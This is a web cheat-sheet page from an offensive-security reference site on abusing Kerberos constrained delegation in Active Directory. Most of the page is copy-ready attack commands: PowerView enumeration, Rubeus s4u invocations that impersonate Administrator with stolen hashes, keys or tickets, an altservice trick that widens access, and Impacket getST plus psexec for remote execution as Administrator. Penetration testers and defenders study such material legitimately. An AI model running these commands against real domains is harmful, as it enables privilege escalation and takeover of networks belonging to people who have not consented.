# Constrained Delegation Abuse – S4U Impersonation

> Exploit Kerberos S4U2Proxy/S4U2Self extensions to impersonate privileged users via misconfigured constrained delegation, enabling lateral movement within Active Directory environments.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/constrained-delegation-abuse
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-07-01
- **Updated:** 2026-08-11

Constrained delegation restricts which services an account can delegate to, unlike unconstrained delegation which allows any service. Accounts with constrained delegation configured use S4U2Self and S4U2Proxy to impersonate users when accessing the allowed services.

If you compromise an account or machine configured with constrained delegation, you can invoke S4U2Self to get a forwardable service ticket for any user, including domain admins, and then S4U2Proxy to present that ticket to the target service. The result is access to the delegated service as any user you choose.

Requirements for constrained delegation abuse:

- NT hash, AES key, or TGT of the delegation account
- The target service listed in `msds-allowedtodelegateto`
- Protocol transition enabled (or a workaround via S4U2Self with a forwardable ticket)

## Finding Constrained Delegation Accounts

From a Windows foothold with PowerView:

```powershell
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
```

The `msds-allowedtodelegateto` attribute lists the specific SPNs the account can delegate to. Those are your targets.

## Abusing Constrained Delegation with Rubeus

Rubeus runs S4U2Self and S4U2Proxy in a single command. You need the delegation account's hash or TGT and the SPN from its delegation list:

With NT hash:

```powershell
Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

With AES256 key (more opsec-safe):

```powershell
Rubeus.exe s4u /user:$USER /aes256:$AES256KEY /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

With an existing TGT (base64):

```powershell
Rubeus.exe s4u /ticket:<base64TGT> /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /ptt
```

`/ptt` injects the resulting TGS directly. Verify with `klist`.

## Substituting the Service Class

The SPN in `msds-allowedtodelegateto` specifies both the service class and the host. You can often substitute the service class while keeping the same host, because the target machine validates the host but the KDC does not strictly enforce the service class in the ticket. Use `/altservice` to request access to a different service on the same host:

```powershell
Rubeus.exe s4u /user:$USER /rc4:$NTHASH /impersonateuser:Administrator /msdsspn:cifs/$TARGET_HOSTNAME.$DOMAIN /altservice:http,host,wsman,rpcss /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

This gives tickets for CIFS, HTTP (WinRM), HOST (PsExec), and WSMAN in a single run.

## Abusing Constrained Delegation from Linux with Impacket

Request a service ticket impersonating a target user using `impacket-getST`:

```bash
impacket-getST $DOMAIN/$USER:$PASSWORD -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
```

With a hash instead of password:

```bash
impacket-getST $DOMAIN/$USER -hashes :$NTHASH -spn cifs/$TARGET_HOSTNAME.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP
```

This saves `Administrator.ccache`. Use it:

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass
```

## Protocol Transition vs. Without Protocol Transition

Constrained delegation comes in two variants:

**With protocol transition** (`TRUSTED_TO_AUTH_FOR_DELEGATION`): the account can call S4U2Self to get a forwardable ticket for any user without that user having a Kerberos session. This is the standard abuse path above.

**Without protocol transition**: S4U2Self returns a non-forwardable ticket. S4U2Proxy requires a forwardable ticket as input. You need to already have a forwardable TGS for the impersonated user from another source, often obtained via ticket dumping or from another delegation chain.

Check which variant you have:

```powershell
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
```

`TRUSTED_TO_AUTH_FOR_DELEGATION` in the UAC flags means protocol transition is enabled.

## References

- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack s4u module documentation covering S4U2Self, S4U2Proxy, altservice, and ticket injection.
- [Impacket](https://github.com/fortra/impacket) - Fortra getST.py documentation and examples.